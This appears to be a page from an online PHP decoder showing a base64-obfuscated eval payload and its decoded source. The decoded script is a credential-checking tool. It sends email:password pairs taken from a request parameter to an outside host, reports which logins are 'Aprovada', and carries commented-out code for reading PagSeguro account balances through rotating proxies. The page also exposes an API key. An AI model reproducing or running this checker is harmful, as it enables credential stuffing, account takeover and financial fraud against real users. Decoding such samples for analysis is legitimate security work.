Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @eval("?>".base64_decode("PD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKD..

Decoded Output download

?>b'<?php
set_time_limit(0);
error_reporting(0);

//$link = file_get_contents("https://api.getproxylist.com/proxy?apiKey=2769d07972701a1cb65b10f9565e205f3fcd463a&protocol=socks4&country=BR&lastTested=600");
//$link2 = json_decode($link);
//$link3 = $link2->ip;
//$link4 = $link2->port;
//$proxy = $link3.":".$link4;

class cURL {
    var $callback = false;
    function setCallback($func_name) {
        $this->callback = $func_name;
    }
    function doRequest($method, $url, $vars) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_NOBODY, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER[\'HTTP_USER_AGENT\']);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch,CURLOPT_HTTPHEADER,array(false));
        //curl_setopt($curl, CURLOPT_PROXY, $proxy);
        //curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 200);
        curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().\'/cookie.txt\');
        curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().\'/cookie.txt\');
        curl_setopt($ch, CURLOPT_VERBOSE, 1);
        if ($method == \'POST\') {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
        }
        $data = curl_exec($ch);
       // echo $data;
        curl_close($ch);

        if ($data) {
            if ($this->callback) {
                $callback = $this->callback;
                $this->callback = false;
                return call_user_func($callback, $data);
            } else {
                return $data;
            }
        } else {
            return curl_error($ch);
        }
    }
    function get($url) {
        return $this->doRequest(\'GET\', $url, \'NULL\');
    }
    function post($url, $vars) {
        return $this->doRequest(\'POST\', $url, $vars);
    }
}

function GetStr($string,$start,$end){
    $str = explode($start, $string);
    $str = explode($end, $str[1]);
    return $str[0];
}



$lista = $_GET["lista"];
$email = explode(":", $lista)[0];
$senha = explode(":", $lista)[1];


$a = new cURL();
            
$b = $a->get(\'http://fvslindo.com/api.php?lista=\'.$email.\'|\'.$senha.\'\',\'\');

//$token = getStr($b,\'{"accessToken":"\',\'",\');

//$ch = curl_init();
        //curl_setopt($ch,CURLOPT_URL, \'https://mb.api.pagseguro.uol/balances\');
        //$headers = array();
        //$headers[] = "x-token: ".$token."";
        //$headers[] = "User-Agent: Minha Conta release/3.4.10 (br.com.uol.ps.myaccount; build:122; Android 5.1.1)";
        //curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        //curl_setopt($ch, CURLOPT_USERAGENT, \'Minha Conta release/3.4.10 (br.com.uol.ps.myaccount; build:122; Android 5.1.1)\');
        //curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        //curl_setopt($ch, CURLOPT_HEADER, 1);
        //$result = curl_exec($ch);

        $plano = GetStr($b, \'| Cidade \',\'| Vale\');
        $criado = GetStr($b, \'created":"\',\'"}\');

        //$carto = GetStr($b, \'<b> \',\'</b>\');
        //$bloqueado = GetStr($result, \'balanceBlocked":"\',\'",\');
        //$receber = GetStr($result, \'balanceReceivable":"\',\'",\');
        //$acesso = GetStr($result, \'astUpdate":"\',\'",\');


        if (strpos($b, \'Aprovada\')) { 


 echo "#Aprovada -> $email:$senha | Cidade: $plano";
 
  

        }else{

echo "#Reprovada -> $email | $senha | [Proxy: $proxy]";



}
 
    


?>'

Did this file decode correctly?

Original Code

<?php @eval("?>".base64_decode("PD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQovLyRsaW5rID0gZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vYXBpLmdldHByb3h5bGlzdC5jb20vcHJveHk/YXBpS2V5PTI3NjlkMDc5NzI3MDFhMWNiNjViMTBmOTU2NWUyMDVmM2ZjZDQ2M2EmcHJvdG9jb2w9c29ja3M0JmNvdW50cnk9QlImbGFzdFRlc3RlZD02MDAiKTsNCi8vJGxpbmsyID0ganNvbl9kZWNvZGUoJGxpbmspOw0KLy8kbGluazMgPSAkbGluazItPmlwOw0KLy8kbGluazQgPSAkbGluazItPnBvcnQ7DQovLyRwcm94eSA9ICRsaW5rMy4iOiIuJGxpbms0Ow0KDQpjbGFzcyBjVVJMIHsNCiAgICB2YXIgJGNhbGxiYWNrID0gZmFsc2U7DQogICAgZnVuY3Rpb24gc2V0Q2FsbGJhY2soJGZ1bmNfbmFtZSkgew0KICAgICAgICAkdGhpcy0+Y2FsbGJhY2sgPSAkZnVuY19uYW1lOw0KICAgIH0NCiAgICBmdW5jdGlvbiBkb1JlcXVlc3QoJG1ldGhvZCwgJHVybCwgJHZhcnMpIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PQk9EWSwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0hUVFBIRUFERVIsYXJyYXkoZmFsc2UpKTsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9QUk9YWSwgJHByb3h5KTsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFlUWVBFLCBDVVJMUFJPWFlfU09DS1M0KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDIwMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGdldGN3ZCgpLicvY29va2llLnR4dCcpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZ2V0Y3dkKCkuJy9jb29raWUudHh0Jyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9WRVJCT1NFLCAxKTsNCiAgICAgICAgaWYgKCRtZXRob2QgPT0gJ1BPU1QnKSB7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHZhcnMpOw0KICAgICAgICB9DQogICAgICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgLy8gZWNobyAkZGF0YTsNCiAgICAgICAgY3VybF9jbG9zZSgkY2gpOw0KDQogICAgICAgIGlmICgkZGF0YSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5jYWxsYmFjaykgew0KICAgICAgICAgICAgICAgICRjYWxsYmFjayA9ICR0aGlzLT5jYWxsYmFjazsNCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2FsbGJhY2sgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICByZXR1cm4gY2FsbF91c2VyX2Z1bmMoJGNhbGxiYWNrLCAkZGF0YSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIHJldHVybiAkZGF0YTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHJldHVybiBjdXJsX2Vycm9yKCRjaCk7DQogICAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gZ2V0KCR1cmwpIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5kb1JlcXVlc3QoJ0dFVCcsICR1cmwsICdOVUxMJyk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIHBvc3QoJHVybCwgJHZhcnMpIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5kb1JlcXVlc3QoJ1BPU1QnLCAkdXJsLCAkdmFycyk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBHZXRTdHIoJHN0cmluZywkc3RhcnQsJGVuZCl7DQogICAgJHN0ciA9IGV4cGxvZGUoJHN0YXJ0LCAkc3RyaW5nKTsNCiAgICAkc3RyID0gZXhwbG9kZSgkZW5kLCAkc3RyWzFdKTsNCiAgICByZXR1cm4gJHN0clswXTsNCn0NCg0KDQoNCiRsaXN0YSA9ICRfR0VUWyJsaXN0YSJdOw0KJGVtYWlsID0gZXhwbG9kZSgiOiIsICRsaXN0YSlbMF07DQokc2VuaGEgPSBleHBsb2RlKCI6IiwgJGxpc3RhKVsxXTsNCg0KDQokYSA9IG5ldyBjVVJMKCk7DQogICAgICAgICAgICANCiRiID0gJGEtPmdldCgnaHR0cDovL2Z2c2xpbmRvLmNvbS9hcGkucGhwP2xpc3RhPScuJGVtYWlsLid8Jy4kc2VuaGEuJycsJycpOw0KDQovLyR0b2tlbiA9IGdldFN0cigkYiwneyJhY2Nlc3NUb2tlbiI6IicsJyIsJyk7DQoNCi8vJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIC8vY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCAnaHR0cHM6Ly9tYi5hcGkucGFnc2VndXJvLnVvbC9iYWxhbmNlcycpOw0KICAgICAgICAvLyRoZWFkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgLy8kaGVhZGVyc1tdID0gIngtdG9rZW46ICIuJHRva2VuLiIiOw0KICAgICAgICAvLyRoZWFkZXJzW10gPSAiVXNlci1BZ2VudDogTWluaGEgQ29udGEgcmVsZWFzZS8zLjQuMTAgKGJyLmNvbS51b2wucHMubXlhY2NvdW50OyBidWlsZDoxMjI7IEFuZHJvaWQgNS4xLjEpIjsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KICAgICAgICAvL2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KICAgICAgICAvL2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNaW5oYSBDb250YSByZWxlYXNlLzMuNC4xMCAoYnIuY29tLnVvbC5wcy5teWFjY291bnQ7IGJ1aWxkOjEyMjsgQW5kcm9pZCA1LjEuMSknKTsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgICAgICAvL2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KICAgICAgICAvLyRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KICAgICAgICAkcGxhbm8gPSBHZXRTdHIoJGIsICd8IENpZGFkZSAnLCd8IFZhbGUnKTsNCiAgICAgICAgJGNyaWFkbyA9IEdldFN0cigkYiwgJ2NyZWF0ZWQiOiInLCcifScpOw0KDQogICAgICAgIC8vJGNhcnTDo28gPSBHZXRTdHIoJGIsICc8Yj4gJywnPC9iPicpOw0KICAgICAgICAvLyRibG9xdWVhZG8gPSBHZXRTdHIoJHJlc3VsdCwgJ2JhbGFuY2VCbG9ja2VkIjoiJywnIiwnKTsNCiAgICAgICAgLy8kcmVjZWJlciA9IEdldFN0cigkcmVzdWx0LCAnYmFsYW5jZVJlY2VpdmFibGUiOiInLCciLCcpOw0KICAgICAgICAvLyRhY2Vzc28gPSBHZXRTdHIoJHJlc3VsdCwgJ2FzdFVwZGF0ZSI6IicsJyIsJyk7DQoNCg0KICAgICAgICBpZiAoc3RycG9zKCRiLCAnQXByb3ZhZGEnKSkgeyANCg0KDQogZWNobyAiI0Fwcm92YWRhIC0+ICRlbWFpbDokc2VuaGEgfCBDaWRhZGU6ICRwbGFubyI7DQogDQogIA0KDQogICAgICAgIH1lbHNlew0KDQplY2hvICIjUmVwcm92YWRhIC0+ICRlbWFpbCB8ICRzZW5oYSB8IFtQcm94eTogJHByb3h5XSI7DQoNCg0KDQp9DQogDQogICAgDQoNCg0KPz4="));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 240a42907da1adf33d15a151954f4484
Eval Count 1
Decode Time 98 ms